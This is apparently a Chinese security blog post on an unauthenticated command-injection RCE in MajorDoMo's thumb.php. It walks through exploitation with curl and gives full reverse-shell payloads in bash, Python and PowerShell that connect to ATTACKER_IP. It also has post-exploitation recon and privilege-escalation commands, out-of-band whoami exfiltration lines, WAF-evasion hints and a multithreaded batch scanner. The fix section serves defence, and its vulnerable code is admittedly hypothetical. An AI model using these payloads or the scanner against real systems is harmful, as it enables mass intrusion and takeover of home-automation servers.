MajorDoMo未授权RCE漏洞深度剖析:从命令注入到批量PoC实战

📅 2026/6/23 21:39:59
MajorDoMo未授权RCE漏洞深度剖析:从命令注入到批量PoC实战
1. 项目概述一次典型的Web应用未授权RCE漏洞深度剖析最近在梳理一些开源智能家居系统的安全状况时MajorDoMo这个项目进入了我的视野。作为一个老牌的、功能丰富的家庭自动化平台它在特定用户群体中仍有不少部署。然而安全研究往往揭示功能越复杂的系统潜藏的风险点也可能越多。这次要讨论的CNVD-2024-02175漏洞就是一个因权限校验缺失和文件处理逻辑缺陷导致的远程代码执行RCE案例其入口点是一个名为thumb.php的文件。这个漏洞的典型性在于它并非利用了某种高深的加密算法或协议漏洞而是源于开发过程中一个看似“方便”但却极度危险的设计未对用户输入进行有效过滤并直接将其用于系统命令执行。对于安全研究人员、渗透测试工程师以及负责运维此类系统的管理员来说理解这个漏洞的成因、利用方式及修复方案具有直接的实战价值。本文将带你从环境搭建开始一步步拆解漏洞原理手把手复现攻击过程并分享一个可用于批量资产验证的PoC脚本核心思路最后探讨根本性的修复与防护策略。2. 漏洞原理与背景深度解析2.1 MajorDoMo与thumb.php的角色定位MajorDoMo是一个基于PHP开发的智能家居服务器平台它能够集成各种设备、协议和传感器实现场景联动、远程控制等功能。其架构包含了大量的脚本和模块thumb.php就是其中之一。从名字可以推测这个文件的主要功能很可能与生成图片缩略图Thumbnail相关。在Web应用中这类脚本非常常见它们接收图片路径、尺寸等参数调用后端图像处理库如GD、ImageMagick或系统命令如convert来动态生成缩略图以节省带宽并提升页面加载速度。问题就出在这个“调用系统命令”的环节。一个安全的缩略图脚本应该1严格校验调用者身份授权2对传入的参数进行严格的过滤和限制例如白名单限制可操作的图片目录过滤命令注入字符。而存在漏洞的thumb.php这两点都没有做好。2.2 漏洞核心未授权访问与命令注入CNVD-2024-02175漏洞实际上是两个安全问题的叠加共同构成了严重的RCE链条未授权访问Unauthorized Accessthumb.php文件没有对访问请求进行任何身份验证或会话检查。这意味着任何知道该脚本URL的网络访问者无需登录系统都可以直接调用其功能。这是漏洞利用的前提它极大地扩大了攻击面。命令注入Command Injection这是导致RCE的直接原因。thumb.php在生成缩略图时很可能使用了类似shell_exec()、system()或反引号这样的PHP函数来调用外部程序例如ImageMagick的convert命令。并且它将用户通过HTTP请求参数如url、file或src可控的变量未经任何安全处理就直接拼接到了系统命令字符串中。举个例子假设内部代码逻辑是这样的$imagePath $_GET[src]; // 攻击者完全可控 $outputPath /tmp/thumb.jpg; $command convert {$imagePath} -resize 100x100 {$outputPath}; shell_exec($command);攻击者可以传入srclegitimate.jpg;id这样的参数。拼接后的命令变为convert legitimate.jpg;id -resize 100x100 /tmp/thumb.jpg。在Linux shell中分号;是命令分隔符这会导致系统先执行convert legitimate.jpg然后执行id命令并将id命令的结果输出或引发错误。通过精心构造参数攻击者可以执行任意系统命令。注意实际的漏洞参数和拼接方式需要根据代码审计确定以上仅为原理性示例。在MajorDoMo的案例中攻击者可能通过url、file或其他参数实现注入。2.3 漏洞影响范围与严重性该漏洞的CVSS评分很可能在高危High或严重Critical级别原因如下攻击复杂度低利用方式通常是发送一个精心构造的HTTP请求无需复杂交互。权限影响大成功利用后攻击者能够在Web服务器进程的权限下执行命令。如果服务器以高权限如root运行后果不堪设想。无需前置条件由于是未授权访问攻击者无需窃取或拥有任何账户凭证。潜在危害攻击者可以读取服务器上的敏感文件如配置文件、数据库密码、植入后门、进行内网横向移动甚至将服务器变为僵尸网络的一部分。受影响的MajorDoMo版本应为存在缺陷代码的特定版本区间需要对照官方修复记录进行确认。任何在公网或内网暴露了存在漏洞版本MajorDoMo系统的资产都面临直接风险。3. 漏洞复现环境搭建与调试3.1 实验环境准备为了安全、合法地研究此漏洞我们必须在隔离的环境中搭建靶场。强烈建议使用虚拟机或Docker环境。方案一使用Vulhub/其他漏洞靶场集成环境这是最快捷的方式。Vulhub等项目已经集成了许多漏洞环境的Docker Compose配置。你可以检查其仓库中是否已有“MajorDoMo”相关漏洞的配置。如果有只需几步命令即可启动一个完整的、包含漏洞的MajorDoMo实例。# 假设Vulhub中有该漏洞目录 cd /path/to/vulhub/majordomo/CVE-2024-xxxx/ docker-compose up -d # 访问 http://your-vm-ip:port 即可看到靶场方案二手动部署存在漏洞的MajorDoMo版本如果找不到现成的靶场就需要手动从历史版本仓库下载存在漏洞的MajorDoMo代码。获取源码访问MajorDoMo的GitHub仓库根据漏洞披露信息找到并下载存在漏洞的特定版本代码包例如修复前的某个commit或release。配置Web服务器准备一个PHP运行环境如Apache PHP 5.x/7.x。将代码部署到Web目录如/var/www/html/majordomo。配置权限确保Web服务器用户如www-data对代码目录有读取和执行权限对某些需要写入的目录如日志、缓存有写权限。访问安装通过浏览器访问部署地址按照MajorDoMo的安装向导完成数据库等初始化配置。实操心得手动部署时最容易卡在PHP扩展依赖和文件权限上。务必确保php-gd、php-curl等扩展已安装并且/path/to/majordomo/cached、/path/to/majordomo/logs这类目录对Web进程可写。查看Apache或PHP-FPM的日志是排错的关键。3.2 定位漏洞代码与关键参数环境跑起来后第一件事就是找到thumb.php文件并审计其代码。通常它位于项目的根目录或/lib/、/includes/这样的子目录下。用文本编辑器或IDE打开thumb.php重点关注是否存在权限校验搜索session_start()、checkAuth()、if(!$user-loggedIn)等常见的权限检查代码。在漏洞版本中这些代码应该缺失或存在逻辑绕过。如何获取用户输入查找$_GET、$_POST、$_REQUEST超全局变量的使用。如何执行系统命令查找shell_exec()、exec()、system()、passthru()、proc_open()函数以及反引号操作符。参数拼接点观察用户输入的变量是如何被拼接到字符串中然后传递给命令执行函数或包含文件路径的。假设我们通过审计发现关键代码如下// thumb.php 片段 $url $_GET[url]; // ... 一些无关的路径处理 ... $cmd “wget -O /tmp/temp_image.jpg {$url}”; // 为了获取远程图片使用了wget shell_exec($cmd); // ... 后续再用convert处理/tmp/temp_image.jpg ...这里$url参数直接拼接到wget命令中。那么我们的注入点就是url参数。我们不仅可以控制下载的地址还可以通过注入命令分隔符来执行其他命令例如urlhttp://attacker.com/1.jpg;whoami。4. 手工漏洞复现与利用过程4.1 初步探测与漏洞确认首先我们通过浏览器或命令行工具如curl来探测thumb.php是否可以未授权访问并观察其行为。# 基础访问测试查看响应 curl -v http://target-ip:port/path/to/majordomo/thumb.php如果返回的不是403 Forbidden或重定向到登录页而是某种错误如缺少参数错误则说明未授权访问可能成立。接下来测试参数。根据代码审计的猜测我们尝试提供必要的参数curl http://target-ip:port/thumb.php?urlhttp://example.com/test.jpg观察响应。如果系统尝试去下载example.com/test.jpg说明url参数是有效的。现在尝试注入一个简单的命令来测试例如执行sleep命令这可以通过响应时间延迟来判断# Linux下注入sleep 5 curl http://target-ip:port/thumb.php?urlhttp://example.com/test.jpg;sleep%205 # 或者使用 | 或 等分隔符 curl http://target-ip:port/thumb.php?urlhttp://example.com/test.jpg|sleep%205如果请求耗时明显增加约5秒则强烈表明命令注入存在。为了更直观地看到回显可以尝试注入如id、whoami这样的命令并将结果输出到Web目录下的一个文件中然后去访问这个文件。# 注入 whoami 命令并将结果写入web可访问的文件 # 假设Web根目录为 /var/www/html我们写入一个test.txt curl http://target-ip:port/thumb.php?urlhttp://example.com/test.jpg;whoami/var/www/html/test.txt%00然后访问http://target-ip:port/test.txt如果能看到Web服务器的运行用户如www-data则RCE被证实。注意事项在实际测试中需要注意命令中的空格、特殊字符如、|、、需要进行URL编码。%20代表空格%26代表%3B代表;。%00空字节有时用于截断后续参数在某些情况下有用。4.2 构造反向Shell获取交互式访问证明命令注入后下一步是获取一个更稳定的、交互式的shell会话即反向ShellReverse Shell。这样我们可以在攻击机上直接操作目标服务器。在攻击机Kali Linux等上先监听一个端口nc -lvnp 4444然后向目标发送一个精心构造的请求让其连接回我们的攻击机。根据目标系统环境的不同反向Shell的Payload也不同。Linux目标常见Payload# 使用bash curl http://target/thumb.php?urlhttp://a.com;bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER_IP%2F4444%200%3E%261%22 # 使用python curl http://target/thumb.php?urlhttp://a.com;python3%20-c%20%27import%20socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ATTACKER_IP%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27Windows目标如果运行在Windows服务器上常见Payload# 使用PowerShell curl “http://target/thumb.php?urlhttp://a.com;powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27ATTACKER_IP%27%2C4444%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22”将上述URL中的ATTACKER_IP替换为你的攻击机IP地址。如果成功你会在nc监听端口中看到来自目标的Shell连接。4.3 权限维持与信息收集获取反向Shell后通常权限是Web服务用户如www-data、apache。我们需要进行一些基础操作升级Shell初始的Shell可能功能不全无Tab补全、历史记录等。可以使用python3 -c import pty; pty.spawn(/bin/bash)来升级为一个更完整的TTY Shell。信息收集whoami; id查看当前用户和权限。uname -a查看系统内核版本。cat /etc/passwd查看系统用户。ps aux查看运行进程。ifconfig或ip a查看网络配置。find / -name “*config*.php” -type f 2/dev/null查找可能包含数据库凭据的配置文件。权限提升探索尝试寻找提权路径如查找SUID文件(find / -perm -4000 -type f 2/dev/null)、查看sudo权限(sudo -l)、检查内核漏洞等。注意在授权的渗透测试中才能进行提权尝试。5. 批量验证PoC脚本的设计与实现在实战的资产梳理或漏洞排查中我们往往需要对一个IP段或一批URL进行漏洞验证。手动一个个测试效率极低因此需要编写一个批量验证脚本。5.1 PoC脚本核心逻辑一个健壮的批量验证PoC脚本应包含以下模块目标输入支持从文件读取IP/URL列表或指定CIDR网段。请求构造根据漏洞利用点构造包含测试Payload的HTTP请求。为了不破坏目标系统Payload应使用无害的命令如sleep、echo一个特定字符串到可访问的路径或者通过DNS、HTTP请求外带数据Out-of-Band, OOB来检测。结果判断时间延迟检测如果使用sleep命令通过计算请求响应时间是否显著增加来判断。内容回显检测如果能让目标将执行结果输出到响应体中则检查响应体是否包含特定字符串。OOB检测最可靠让目标向一个由我们控制的服务器发起DNS查询或HTTP请求。这是最隐蔽、最可靠的方式因为它不依赖于目标应用的正常输出。例如Payload可以是curl http://your-collaborator-server.com/$(whoami)或nslookup $(whoami).your-domain.com。并发控制使用多线程或异步IO如Python的asyncio、aiohttp提高扫描效率同时要控制并发数避免对目标造成DoS攻击或触发防护设备告警。结果输出将存在漏洞的目标地址清晰地输出到屏幕或文件。5.2 基于Python的PoC示例时间延迟检测版以下是一个简化的、基于时间延迟判断的PoC脚本核心框架。请注意此脚本仅用于授权测试和教育目的。import requests import time import threading from queue import Queue import sys import urllib.parse def check_vuln(url): 检查单个目标是否存在漏洞 # 构造漏洞利用Payload。这里使用 sleep 3 进行延迟检测。 # 根据实际漏洞参数调整这里假设参数是 ‘url’ payload “;sleep 3” # 需要对Payload进行URL编码但注意空格在命令中是必须的编码为%20 encoded_payload urllib.parse.quote(payload, safe“”) # 不保留任何字符 target_url f“{url}/thumb.php?urlhttp://example.com/dummy.jpg{encoded_payload}” headers { ‘User-Agent’: ‘Mozilla/5.0 (POC Scanner)’ } try: start_time time.time() # 设置一个较短的超时时间但需要大于我们的sleep时间网络延迟 resp requests.get(target_url, headersheaders, timeout10, verifyFalse) elapsed_time time.time() - start_time # 判断逻辑如果响应时间大于5秒sleep 3 缓冲则认为可能存在漏洞 if elapsed_time 5: return True, elapsed_time, url else: return False, elapsed_time, url except requests.exceptions.RequestException as e: return False, 0, f“{url} - Error: {e}” def worker(q, results): while not q.empty(): target q.get() is_vuln, elapsed, info check_vuln(target) if is_vuln: results.append(f“[VULNERABLE] {info} - Response time: {elapsed:.2f}s”) print(f“[] Vulnerable: {info}”) else: print(f“[-] Not vulnerable or error: {info}”) q.task_done() def main(target_list_file): # 读取目标列表 with open(target_list_file, ‘r’) as f: targets [line.strip() for line in f if line.strip()] # 确保URL格式正确如果没有scheme则加上http:// full_targets [] for t in targets: if not t.startswith(‘http’): full_targets.append(f“http://{t}”) else: full_targets.append(t) # 创建任务队列和结果列表 queue Queue() results [] for target in full_targets: queue.put(target) # 启动多线程 worker threads [] for i in range(10): # 控制并发数为10 t threading.Thread(targetworker, args(queue, results)) t.start() threads.append(t) # 等待所有任务完成 queue.join() # 输出最终结果 print(“\n Scan Summary ”) for r in results: print(r) if results: print(f“\nTotal vulnerable targets: {len(results)}”) else: print(“No vulnerable targets found.”) if __name__ “__main__”: if len(sys.argv) ! 2: print(f“Usage: {sys.argv[0]} target_list.txt”) sys.exit(1) main(sys.argv[1])脚本使用说明将目标IP或URL每行一个存入targets.txt文件。运行脚本python3 poc_batch.py targets.txt。脚本会并发测试每个目标如果响应时间超过5秒则标记为可能存在漏洞。实操心得与注意事项OOB是王道时间延迟检测可能因网络波动、目标服务器负载高而产生误报或漏报。在生产环境或更严肃的测试中强烈建议使用DNSlog或HTTP交互平台如Burp Collaborator进行OOB检测准确率接近100%。规避WAF真实的网络环境可能有WAF。Payload可能需要变形如使用Base64编码命令、使用变量拼接、使用反引号代替$()等技巧来绕过简单的规则检测。速率限制务必在脚本中添加延迟如time.sleep(0.5)或严格控制并发数避免对目标造成拒绝服务攻击。法律与授权绝对禁止在未获得明确书面授权的情况下对任何系统进行测试。6. 漏洞修复与安全加固建议6.1 官方修复方案对于MajorDoMo用户最根本的解决方法是立即升级到官方已修复该漏洞的最新版本。开发者通常会在新版本中增加身份验证在thumb.php文件开头加入对用户会话的检查确保只有登录用户才能访问。修复命令注入输入验证对url等参数进行严格过滤只允许预期的字符如字母、数字、点、斜杠等拒绝任何命令分隔符;、|、、\n等。使用安全函数放弃shell_exec()等直接执行命令的函数改用PHP内置的图像处理函数如GD库的imagecreatefromjpeg()、imagescale()来完成缩略图生成。如果必须用命令使用escapeshellarg()或escapeshellcmd()函数对用户输入进行转义并尽量使用白名单机制限定参数范围。6.2 临时缓解措施如果无法立即升级可以考虑以下临时方案访问控制在Web服务器层面如Apache的.htaccess或Nginx的location配置对thumb.php路径设置访问限制例如只允许本地IP或内网IP访问。# Apache .htaccess 示例 Files “thumb.php” Order Deny,Allow Deny from all Allow from 192.168.1.0/24 # 仅允许内网访问 Allow from 127.0.0.1 /Files删除或重命名文件如果系统不依赖thumb.php的功能可以直接删除或重命名该文件。应用层WAF部署Web应用防火墙配置规则拦截对thumb.php的未授权访问请求以及包含可疑命令字符的请求参数。6.3 长期安全开发规范对于开发者而言此漏洞是一个经典的教训最小权限原则Web应用程序应始终以最低必要权限运行避免使用root权限。输入即原罪对所有用户输入GET, POST, Cookie, Header等都视为不可信的必须进行严格的验证、过滤和转义。避免命令执行尽可能使用编程语言的原生库或安全封装好的API来实现功能而非直接调用系统命令。默认拒绝在访问控制上默认应拒绝所有请求只有明确授权的用户/请求才能访问特定资源。安全代码审计定期对代码进行安全审计或使用静态应用安全测试SAST工具辅助发现潜在漏洞。7. 漏洞复现中的常见问题与排查技巧在复现和利用这类漏洞时你可能会遇到一些“坑”。以下是一些常见问题及解决思路问题现象可能原因排查与解决思路访问thumb.php返回404文件路径错误或已被删除/重命名使用目录扫描工具如dirsearch、gobuster寻找可能路径检查MajorDoMo不同版本的目录结构。访问thumb.php返回403或跳转登录漏洞已被修复增加了权限校验或环境配置有误确认使用的MajorDoMo版本是否为存在漏洞的版本检查Web服务器配置是否限制了访问。命令注入Payload无回显且sleep测试无延迟1. 注入点判断错误2. 命令执行被禁用3. 参数拼接方式特殊1. 重新审计代码确认可控参数和拼接点。2. 检查PHP配置disable_functions是否包含shell_exec等函数。3. 尝试不同的命令分隔符%0a换行、%26后台执行、%7c管道和注入位置。命令执行成功但反向Shell连接不上1. 目标出网受限2. 防火墙/安全组策略拦截3. Payload编码或格式错误1. 先使用ping或curl测试目标是否能访问外网。2. 尝试不同端口如53/DNS, 80/HTTP, 443/HTTPS绕过防火墙。3. 使用urlencode确保Payload正确传输尝试不同格式的反向Shellbash, python, perl, nc等。批量PoC脚本误报率高网络延迟波动、目标服务器响应慢改用OOBDNS/HTTP检测方式这是最准确的。如果只能用时间延迟可适当提高延迟阈值并增加重试机制排除单次网络抖动。执行命令后进程卡住或无响应命令产生了交互式输出或等待输入在命令末尾添加 /dev/null 21 让命令在后台运行并丢弃输出。对于反向Shell确保Payload正确无误特别是用于升级TTY的Payload。个人经验分享在测试命令注入时我习惯先用一个能产生“副作用”但无害的命令来验证比如touch /tmp/poc_test_$(date %s)在目标服务器上创建一个带有时间戳的空文件然后再去检查文件是否被创建。这比sleep更直观且比curl外带更隐蔽不产生外部网络流量。确认注入点无误后再尝试反向Shell。另外在编写批量PoC时一定要加入异常处理和日志记录否则一个目标的超时可能会导致整个线程卡住影响扫描效率。最后道德和法律是红线所有测试务必在授权范围内进行并在测试结束后协助客户做好修复工作。